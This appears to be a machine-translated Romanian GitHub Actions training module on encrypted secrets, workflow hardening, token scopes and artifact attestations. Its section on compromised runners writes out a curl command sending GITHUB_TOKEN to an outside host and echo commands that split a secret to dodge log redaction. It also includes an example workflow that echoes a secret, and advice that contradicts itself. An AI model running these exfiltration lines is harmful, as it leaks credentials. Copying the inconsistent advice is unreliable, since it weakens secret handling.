Gestionarea secretelor criptate
Secretele sunt variabile de mediu criptate care stochează simboluri, acreditări și alte informații sensibile. Fluxurile de lucru și acțiunile acțiunilor GitHub pot utiliza aceste secrete atunci când este necesar. Odată create, secretele devin accesibile fluxurilor de lucru și acțiunilor care au permisiunea de a accesa organizația, depozitul sau mediul în care sunt definite secretele.
Această secțiune vă arată cum să gestionați secretele criptate utilizând instrumente și strategii în GitHub Enterprise Cloud și GitHub Enterprise Server. De asemenea, aflați cum să utilizați aceste secrete în fluxurile de lucru și acțiunile dvs.
Gestionarea secretelor criptate din întreprindere
Acțiunile GitHub vă permit să stocați și să utilizați în siguranță date sensibile, cum ar fi chei API, tokenuri de autentificare, parole și certificate, prin secrete criptate. Aceste secrete sunt stocate și injectate în siguranță în fluxurile de lucru. Această proiectare asigură că nu apar în jurnale sau cod sursă.
Într-un mediu de întreprindere, gestionarea secretă eficientă este esențială. Contribuie la menținerea securității, la îndeplinirea cerințelor de conformitate și la susținerea eficienței operaționale. GitHub vă permite să gestionați secretele la patru niveluri: întreprindere, organizație, depozit și mediu.
Domeniul secretelor criptate
Înțelegerea domeniului de aplicare a secretelor este esențială pentru gestionarea lor în siguranță într-un mediu de întreprindere.
| Nivel secret | Domeniul de aplicare | Cine poate accesa | Cazuri de utilizare uzuale |
|---|---|---|---|
| secreteEnterprise-Level | Se aplică pentru toate depozitele dintr-o organizație GitHub Enterprise Cloud. | Proprietari de întreprindere, administratori de securitate | Partajați acreditările în mai multe depozite. |
| secreteOrganization-Level | Se aplică la toate depozitele dintr-o organizație; opțional limitați depozitele selectate. | Proprietarii organizației, administratorii de securitate | Accesați serviciile în cloud și bazele de date partajate. |
| secreteRepository-Level | Se aplică doar la un singur depozit. | Administratori de depozite, administratori de flux de lucru | Acreditări securizate pentru implementarea într-un singur depozit. |
| secreteEnvironment-Level | Se aplică la anumite medii de implementare dintr-un depozit, cum ar fi paginarea sau producția. | Fluxuri de lucru în mediul specificat | Separați acreditările după mediul de implementare. |
Considerații cheie:
- Secretele de întreprindere sunt exclusive pentru GitHub Enterprise Cloud și acceptă gestionarea centralizată într-o organizație.
- Secretele organizației oferă control de acces fin și pot fi limitate la anumite depozite.
- Secretele de mediu contribuie la prevenirea expunerii neintenționate, restricționând accesul la mediile fluxului de lucru.
Gestionarea secretelor criptate la nivel de organizație
Crearea secretelor criptate la nivel de organizație ajută la securizarea informațiilor sensibile, reducând efortul necesar pentru gestionarea secretelor în mai multe depozite.
De exemplu, unii dezvoltatori care scriu fluxuri de lucru în organizația dvs. GitHub au nevoie de acreditări pentru a implementa cod pentru producție în unele dintre fluxurile lor de lucru. Pentru a evita partajarea acestor informații sensibile, puteți crea un secret criptat care conține acreditările la nivel de organizație. Astfel, acreditările pot fi utilizate în fluxurile de lucru fără a fi expuse.
Pentru a crea un secret la nivel de organizație, accesați organizația dvs. Setări și, din bara laterală, selectați Secrete și variabile > Acțiuni > New organization secret. În ecranul care apare, introduceți un nume și o valoare și alegeți o politică de acces pentru depozit pentru secretul dvs.:
După salvare, politica de acces se afișează sub secretul din listă:
Puteți selecta Actualizare pentru mai multe detalii despre permisiunile configurate pentru secretul dvs.
Gestionarea secretelor criptate Organization-Level via GitHub CLI
-
Creați un secret pentru o organizație:
gh secret set SECRET_NAME --org my-org --body "super-secret-value" -
Listați toate secretele organizației:
gh secret list --org my-org -
Actualizați un secret existent:
gh secret set SECRET_NAME --org my-org --body "new-secret-value" -
Ștergeți un secret:
gh secret delete SECRET_NAME --org my-org
Considerații de securitate pentru secretele organizației
- Restricționați secretele anumitor depozite în loc să acordați acces la toate depozitele în mod implicit.
- Implementați controlul accesului bazat pe roluri (RBAC) pentru a vă asigura că numai membrii autorizați ai echipei pot să creeze, să actualizeze sau să șteargă secrete.
- Monitorizați jurnalele de acces în mod regulat pentru a identifica și a răspunde la o utilizare neautorizată sau la o activitate suspectă.
Gestionarea secretelor criptate la nivel de depozit
Pentru a întinde un secret la un anumit depozit, utilizați GitHub Enterprise Cloud sau GitHub Enterprise Server.
Creați un secret la nivel de depozit
- Navigați la Setările depozitului.
- SelectațiSecrete și variabile > Acțiuni, apoi Secret depozit nou.
- Introduceți un nume și o valoare pentru secret.
Gestionați secretele criptate la nivel de depozit prin CLI
Secretele depozitului de listă:
gh secret list --repo my-repoActualizați un secret al depozitului:
gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"Ștergeți un secret al depozitului:
gh secret delete SECRET_NAME --repo my-repo
Accesați secrete criptate în cadrul acțiunilor și fluxurilor de lucru
În Fluxuri de lucru
Secrete de acces utilizând secrets contextul. Utilizați fie with pentru a transmite secretul ca intrare, env fie pentru a-l seta ca variabilă de mediu.
steps:
- name: Hello world action
uses: actions/hello-world@v1
with:
# Pass the secret as an input to the action
super_secret: ${{ secrets.SuperSecret }}
env:
# Set the secret as an environment variable
super_secret: ${{ secrets.SuperSecret }}
Utilizați
with:Pass the secret as an input parameter to the action. Această metodă este utilizată de obicei atunci când acțiunea definește în mod explicit intrările dinaction.yml.Utilizați
env:Expuneți secretul ca variabilă de mediu la pas. Această abordare este utilă atunci când comanda din pas sau dintr-un script din acțiune așteaptă o variabilă de mediu.
În Acțiuni
Pentru a utiliza secretele într-o acțiune particularizată, definiți-le ca intrări în action.yml fișierul de metadate și accesați-le ca variabile de mediu din codul de acțiune.
inputs:
super_secret:
description: 'My secret token'
required: true
// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');
Definiți în
action.yml:Specificați secretul ca intrare obligatorie sau opțională.Access în cod:Citiți secretul utilizând Kitul de instrumente acțiuni (recomandat) sau făcând referire la variabilele de mediu, dacă sunt setate.
Avertisment
Evitați secretele de codificare hardcoding din codul sursă de acțiune. Pentru a gestiona în siguranță intrările și secretele, utilizați Kitul de instrumente de acțiuni pentru gestionarea valorilor din logica de cod.
Configurarea întăririi securității pentru acțiunile GitHub
Întărirea securității pentru acțiunile GitHub joacă un rol în menținerea în siguranță a lanțului de aprovizionare a software-ului. Secțiunile următoare vă ajută să parcurgeți practicile recomandate pentru a consolida securitatea acțiunilor pe care le utilizați în fluxurile de lucru.
Identificați cele mai bune practici pentru atenuarea atacurilor de injectare prin script
Printre cele mai bune practici pentru atenuarea atacurilor de injectare prin script asupra acțiunilor GitHub se numără:
Utilizați acțiunile Javascript în loc de scripturi în linie: Utilizați acțiunile Javascript care acceptă valori contextuale ca argumente în loc să încorporați acele valori în scripturi în linie. Această abordare reduce riscul de injectare script, deoarece datele contextuale nu sunt utilizate pentru generarea sau executarea directă a comenzilor shell.
Trecerea unei variabile ca intrare la o acțiune JavaScript ajută la prevenirea folosirii într-un atac de injectare script.
uses: fakeaction/checktitle@v3 with: title: ${{ github.event.pull_request.title }}Utilizați variabile de mediu intermediare în scripturile în linie: Atunci când utilizați scripturi în linie, evaluați variabilele ca variabile de mediu înainte de a le utiliza în comenzi. Această abordare asigură că valorile sunt rezolvate înainte de rulările scriptului, reducând riscul de injectare prin script. De exemplu, utilizarea
github.event.pull_request.titleca variabilă de mediu contribuie la protejarea împotriva vulnerabilităților de injectare:- name: Check PR title env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" =~ ^octocat ]]; then echo "PR title starts with 'octocat'" exit 0 else echo "PR title did not start with 'octocat'" exit 1 fi
Valorificați șabloanele de flux de lucru pentru a implementa scanarea codului: Navigați la fila Acțiuni a depozitului și selectați butonul Flux de lucru nou din panoul din stânga. Pe pagina Alegeți un flux de lucru , găsiți secțiunea Securitate pentru a accesa și a aplica șabloane de flux de lucru.
Configurați scanerul CodeQL să ruleze pentru anumite evenimente, permițându-i să scaneze fișierele unei sucursale și să semnaleze expunerile la CWE(Enumerari de slăbiciune comună) în acțiunile utilizate în fluxurile de lucru, inclusiv vulnerabilități cum ar fi injectarea scriptului.
Restricționarea permisiunilor pentru tokenuri: Asigurați-vă că aplicați
rule of least privilegeîntotdeauna orice simbol creat. Cu alte cuvinte, asigurați-vă că simbolului i se atribuie privilegiile minime pentru a realiza activitatea pentru care a fost creată.
Cele mai bune practici pentru utilizarea în siguranță a acțiunilor de la terți
Urmați aceste exemple de bună practică pentru a încorpora în siguranță acțiuni de la terți în fluxurile dvs. de lucru:
Fixarea acțiunilor la o etichetă numai dacă autorul este de încredere Utilizați etichete de versiune, cum
v1ar fi sauv2, numai atunci când autorul acțiunii este verificat și de încredere. Această acțiune vă ajută să reduceți riscul de modificări neașteptate în versiunile viitoare.- name: Checkout uses: actions/checkout@v4 # Pinned to a specific version tagPreferați fixarea acțiunilor la o comitere completă SHA Fixarea la o comitere completă SHA vă asigură că utilizați o versiune invariabilă a acțiunii. Verificați întotdeauna dacă comiterea SHA provine de la depozitul așteptat.
- name: Checkout uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2 # Pinned to a specific commit SHAAuditarea codului sursă al acțiunii Revizuiți sursa acțiunii pentru a confirma că gestionează datele în siguranță și nu include comportament neașteptat sau rău intenționat.
Indicatori ai unei acțiuni de încredere de la terți
Utilizați acțiuni de încredere pentru a reduce riscul din fluxurile de lucru.
Căutați ecusonul Verificat: Acțiunile de încredere apar în GitHub Marketplace și afișează un ecuson Creator verificat lângă titlul care vă informează că creatorul a fost verificat de GitHub.
Consultați documentația: Fișierul
action.ymlar trebui să fie bine documentat și să descrie clar cum funcționează acțiunea.
Utilizați actualizările versiunii Dependabot pentru a menține acțiunile actualizate
Activați actualizările versiunii Dependabot pentru a menține automat dependențele acțiunilor GitHub la zi și securizate.
Impactul potențial al unui alergător compromis
Această secțiune descrie vectorii de atac posibili care ar putea fi exploatați dacă un alergător este compromis.
Exfiltrarea datelor de la un alergător
Deși acțiunile GitHub redactează automat secretele jurnalelor, această refacere nu este o limită completă de securitate. Dacă un alergător este compromis, un atacator poate expune în mod intenționat secretele imprimându-le în jurnal. De exemplu:
echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}
Un alergător compromis poate fi utilizat și pentru a redirecționa secretele sau alte date sensibile ale depozitului pe un server extern, utilizând solicitări HTTP scriptate.
Acces la secrete
Fluxurile de lucru declanșate din depozitele de cerneală care utilizează pull_request evenimentul au permisiuni doar în citire și nu pot accesa secretele. Cu toate acestea, permisiunile variază în funcție de tipul de eveniment, cum issue_commentar fi , issuespush, sau pull_request de o ramură din același depozit. Dacă un alergător este compromis, există riscul ca secretele depozitului să fie expuse sau ca un loc de muncă GITHUB_TOKEN cu permisiuni de scriere să fie utilizat greșit.
- Dacă un secret sau un simbol este atribuit unei variabile de mediu, acesta poate fi accesat direct utilizând
printenv. - Dacă se face referire la un secret direct într-o expresie, scriptul shell generat care conține valoarea rezolvată este stocat pe disc și poate fi accesibil.
- Pentru acțiuni particularizate, nivelul de risc depinde de modul în care secretul este gestionat în logica acțiunii. De exemplu:
uses: exampleaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
Deși acțiunile GitHub elimină secretele din memorie dacă nu sunt menționate în fluxul de lucru sau în acțiunile incluse, GITHUB_TOKEN secretele utilizate în mod activ rămân expuse riscului de a fi recoltate dacă alergătorul este compromis.
Furarea unui loc de muncă GITHUB_TOKEN
Un atacator poate fi capabil să fure un loc de muncă GITHUB_TOKEN. Acțiunile GitHub furnizează automat acest simbol cu permisiuni de domeniu limitate la depozitul care rulează fluxul de lucru. Simbolul expiră după terminarea activității și nu poate fi reutilizat după aceea.
Cu toate acestea, un alergător compromis poate fi utilizat pentru a exfiltra tokenul imediat în timpul executării lucrării. Un atacator poate automatiza o solicitare către un server pe care îl controlează pentru a captura simbolul înainte de a expira. De exemplu:
curl http://example.com?token=$GITHUB_TOKEN
Modificarea conținutului depozitului
Dacă este GITHUB_TOKEN furat, un sistem controlat de atacator îl poate utiliza pentru a apela API-ul GitHub și a modifica conținutul depozitului.
Aplicarea principiului privilegiilor cel mai puțin la permisiunile simbolului contribuie la reducerea acestui risc. Limitați accesul tokenului doar la ceea ce este necesar pentru activitate.
Gestionarea accesului la depozitul încrucișat
Atunci când fluxurile de lucru necesită acces la mai multe depozite, este important să alegeți acreditările care reduc riscurile de securitate. Printre opțiunile recomandate listate de la cea mai mare la cea mai puțin preferată se numără:
GITHUB_TOKENGitHub generează
GITHUB_TOKENautomat fiecare flux de lucru care rulează. Acesta este definit în depozitul unic care declanșează fluxul de lucru și furnizează permisiuni echivalente cu un utilizator de acces la scriere din depozitul respectiv. Simbolul este creat la începutul fiecărei lucrări și expiră atunci când se termină lucrarea.Utilizați ori de
GITHUB_TOKENcâte ori este posibil pentru autentificare securizată și bazată pe domeniu. Pentru detalii, consultați Autentificarea automată a tokenului.Cheie implementare depozit
Pentru a clona sau a împinge utilizând Git în fluxurile de lucru, utilizați tastele de implementare care oferă acces de citire sau scriere la un singur depozit.
Cu toate acestea, implementarea cheilor nu acceptă accesul la API-urile REST sau GraphQL ale GitHub. Utilizați-le doar atunci când accesul API nu este necesar și accesul Git este suficient.
Tokenuri de aplicație GitHub
Aplicațiile GitHub oferă permisiuni avansate și pot fi instalate în depozite selectate. Puteți să creați o aplicație GitHub internă, să o instalați în depozitele necesare și să vă autentificați ca instalare de aplicație în fluxul de lucru pentru a accesa aceste depozite.
Această abordare oferă un control și auditare mai bună a accesului comparativ cu tokenurile personale.
Tokenuri de acces personal (PATs)
Evitați să utilizați tokenuri de acces personal clasice în fluxurile de lucru. Aceste tokenuri oferă acces larg la toate depozitele personale și organizaționale asociate utilizatorului, introducând un risc semnificativ. Dacă fluxul de lucru rulează într-un depozit cu mai mulți colaboratori, toți utilizatorii cu acces la scriere moștenesc efectiv privilegiile tokenului respectiv.
Dacă trebuie să utilizați un simbol personal, creați un PAT fin legat la un cont de organizație dedicat. Restricționați accesul la doar depozitele specifice necesare fluxului de lucru.
Notă
Această abordare este dificil de scalat și este cel mai bine evitată în favoarea implementării cheilor sau aplicațiilor GitHub.
Chei SSH pentru conturile personale
Nu utilizați niciodată taste SSH din conturi personale în fluxurile de lucru. La fel ca cele clasice, acestea acordă acces la toate depozitele asociate contului, inclusiv la depozitele personale și organizaționale. Această greșeală expune fluxurile de lucru la riscuri inutile.
Dacă cazul dvs. de utilizare implică clonarea sau împingerea prin Git, luați în considerare utilizarea tastelor de implementare. Acestea oferă acces definit fără a expune depozite necorelate sau fără a solicita acreditări personale.
Auditarea evenimentelor de acțiune GitHub
Tipul de acțiune, atunci când a fost rulat și ce cont personal a efectuat acțiunea sunt înregistrate în "jurnalul de securitate" și în jurnalul de auditare. "Jurnalul de securitate" înregistrează evenimentele legate de contul dvs. de utilizator. Evenimentele "jurnalului de audit" înregistrează evenimentele legate de organizația dvs. Astfel, vizualizând ambele jurnale, puteți audita evenimentele legate de acțiunile Github.
Utilizarea OIDC cu acțiuni GitHub
Puteți configura fluxurile de lucru pentru autentificare direct cu un furnizor în cloud utilizând OIDC (OpenID Connect). În acest caz, nu mai este necesar să stocați acreditările ca secrete.
Artefacte pentru acțiuni GitHub
Atestările artefactelor contribuie la stabilirea provenienței versiunilor, îmbunătățirea securității lanțului de aprovizionare a software-ului verificând ceea ce a fost construit, unde și cum.
Ce să atesti
Cu acțiuni GitHub, puteți să vă certați pentru a construi provenanță și SBOM (Software Bill of Materials) pentru fișiere binare și imagini container.
Se generează atestări de artefacte pentru compilări
Atunci când generați o atestare a artefactului pentru compilări, trebuie să vă asigurați:
- Aveți permisiunile corespunzătoare configurate în fluxul de lucru
- Ați inclus un pas în fluxul de lucru care utilizează acțiunea de atestare a provenienței compilării .
Atestarea stabilește proveniența construirii. Puteți vizualiza atestările din fila Acțiuni a depozitului.
Generarea unei atestări de proveniență a unităților binare
Trebuie să adăugați următoarele permisiuni la fluxul de lucru care construiește binarul pentru care intenționați să atestați:
permissions: id-token: write contents: read attestations: writeTrebuie să adăugați următorul pas după pasul în care este construit binarul:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-path: 'PATH/TO/ARTIFACT'
Notă
Rețineți că valoarea parametrului subject-path este setată la calea celui binar pe care îltestați.
Generarea unei atestări pentru construirea de imagini container
Adăugați următoarele permisiuni la fluxul de lucru care construiește imaginea containerului:
permissions: id-token: write contents: read attestations: write packages: writeAdăugați acest pas după ce construiți imaginea containerului:
- name: Generate artifact attestation uses: actions/attest-build-provenance@v2 with: subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} subject-digest: 'sha256:fedcba0...' push-to-registry: trueNotă
- Valoarea
subject-nametrebuie să fie un nume de imagine complet calificat, cumghcr.io/user/appar fi sauacme.azurecr.io/user/app. Nu includeți o etichetă. - Trebuie
subject-digestsă fie un digest SHA256 al imaginii, în formatsha256:HEX_DIGEST. - Dacă fluxul de lucru utilizează
docker/build-push-action, puteți regăsi digestul din rezultatul său. Pentru detalii, consultați Sintaxa fluxului de lucru pentru Acțiuni GitHub.
- Valoarea
Generarea de atestări pentru SBOM-uri
Aveți capacitatea de a genera atașări SBOM pentru un SBOM. Pentru a genera și atesta un SBOM, trebuie să efectuați următorii pași:
- Asigurați-vă că setați permisiunile corespunzătoare în fluxul de lucru, așa cum se arată în exemple.
- Trebuie să generați un SBOM pentru artefact într-un pas din fluxul de lucru. De exemplu, consultați ancora-sbom-action în GitHub Marketplace.
- Includeți un pas în fluxul de lucru care utilizează acțiunea de test-sbom (vedeți exemplele de mai jos)
Generarea unei atestări SBOM pentru fișiere binare
Adăugați următoarele permisiuni la fluxul de lucru care construiește binarul pentru care veți genera o atestare SBOM:
permissions: id-token: write contents: read attestations: writeAdăugați următorul pas după pașii în care este construit binarul și SBOM generat:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-path: 'PATH/TO/ARTIFACT' sbom-path: 'PATH/TO/SBOM'
Rețineți că valoarea parametrului subject-path trebuie setată la calea binară descrisă de SBOM. Valoarea parametrului sbom-path trebuie setată la calea fișierului SBOM generat.
Generarea unei atestări SBOM pentru imaginile container
Trebuie să adăugați următoarele permisiuni la fluxul de lucru care construiește binarul pentru care veți genera o atestare SBOM:
permissions: id-token: write contents: read attestations: write packages: writeTrebuie să adăugați următorul pas după pașii în care este construit binarul și SBOM generat:
- name: Generate SBOM attestation uses: actions/attest-sbom@v1 with: subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE subject-digest: 'sha256:fedcba0...' sbom-path: 'sbom.json' push-to-registry: true
Rețineți că valoarea parametrului subject-name specifică numele imaginii complet calificate. De exemplu, ghcr.io/user/app sau acme.azurecr.io/user/app. Nu includeți o etichetă ca parte a numelui imaginii.
Valoarea parametrului subject-digest trebuie setată la rezumatul SHA256 subiectului pentru atestare, în formularul sha256:HEX_DIGEST. Dacă fluxul de lucru utilizează docker/build-push-action, puteți utiliza rezultatul digestului din acel pas pentru a furniza valoarea (consultați acțiunea push-compilare). Pentru mai multe informații despre utilizarea ieșirilor, consultați Sintaxa fluxului de lucru pentru acțiunile GitHub.
Valoarea parametrului sbom-path trebuie setată la calea către fișierul SBOM formatat JSON pentru care intenționați să atestați.
Se verifică atestările artefactelor cu CLI-ul GitHub
Puteți valida atestările artefactelor prezentate mai sus utilizând GitHub CLI. Pentru mai multe informații, consultați secțiunea de atestare a manualului GitHub CLI.
Avertisment
Este important să rețineți că artefactele nu sunt o garanție că un artefact este sigur. În schimb, atestările de artefacte vă leagă de codul sursă și de instrucțiunile de compilare care le-au produs. Depinde de dvs. să definiți criteriile de politică, să evaluați acea politică prin evaluarea conținutului și să luați o decizie de risc informată atunci când consumați software.
Accesați secrete criptate în cadrul acțiunilor și fluxurilor de lucru
Exemplu: Utilizarea unui secret într-un flux de lucru
name: Deploy Application
on:
push:
branches:
- main
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
- name: Use secret in a script
run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"
Cele mai bune practici pentru utilizarea secretelor în fluxurile de lucru
-
Nu se imprimă secretele în jurnale utilizând
echo ${{ secrets.SECRET_NAME }}. - Utilizați secrete în cadrul comenzilor script, în loc să le atribuiți variabilelor de mediu.
- Limitați accesul prin definirea secretelor la cel mai mic nivel necesar.
- Rotiți secretele periodic și actualizați fluxurile de lucru în mod corespunzător.
Cum se utilizează seiful terților
Multe întreprinderi integrează acțiuni GitHub cu soluții externe de gestionare secretă, cum ar fi HashiCorp Vault, AWS Secrets Manager și Azure Key Vault.
1. Seiful HashiCorp
- name: Fetch secret from Vault
id: vault
uses: hashicorp/vault-action@v2
with:
url: https://vault.example.com
token: ${{ secrets.VAULT_TOKEN }}
secret: secret/data/github/my-secret
2. Manager de secrete AWS (Amazon Web Services)
- name: Retrieve AWS Secret
run: |
SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV
3. Seiful cheii Azure
- name: Retrieve Azure Secret
uses: Azure/get-keyvault-secrets@v1
with:
keyvault: "my-keyvault"
secrets: "my-secret"
azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}
Avantajele utilizării seifurilor de la terți
- Gestionarea secretă centralizată reduce riscurile de securitate.
- Rotația automată secretă vă ajută să respectați politicile de securitate.
- Jurnalele de audit și controlul accesului îmbunătățesc monitorizarea securității.
- Accesul la privilegii cel mai puțin împiedică utilizarea neautorizată a secretelor.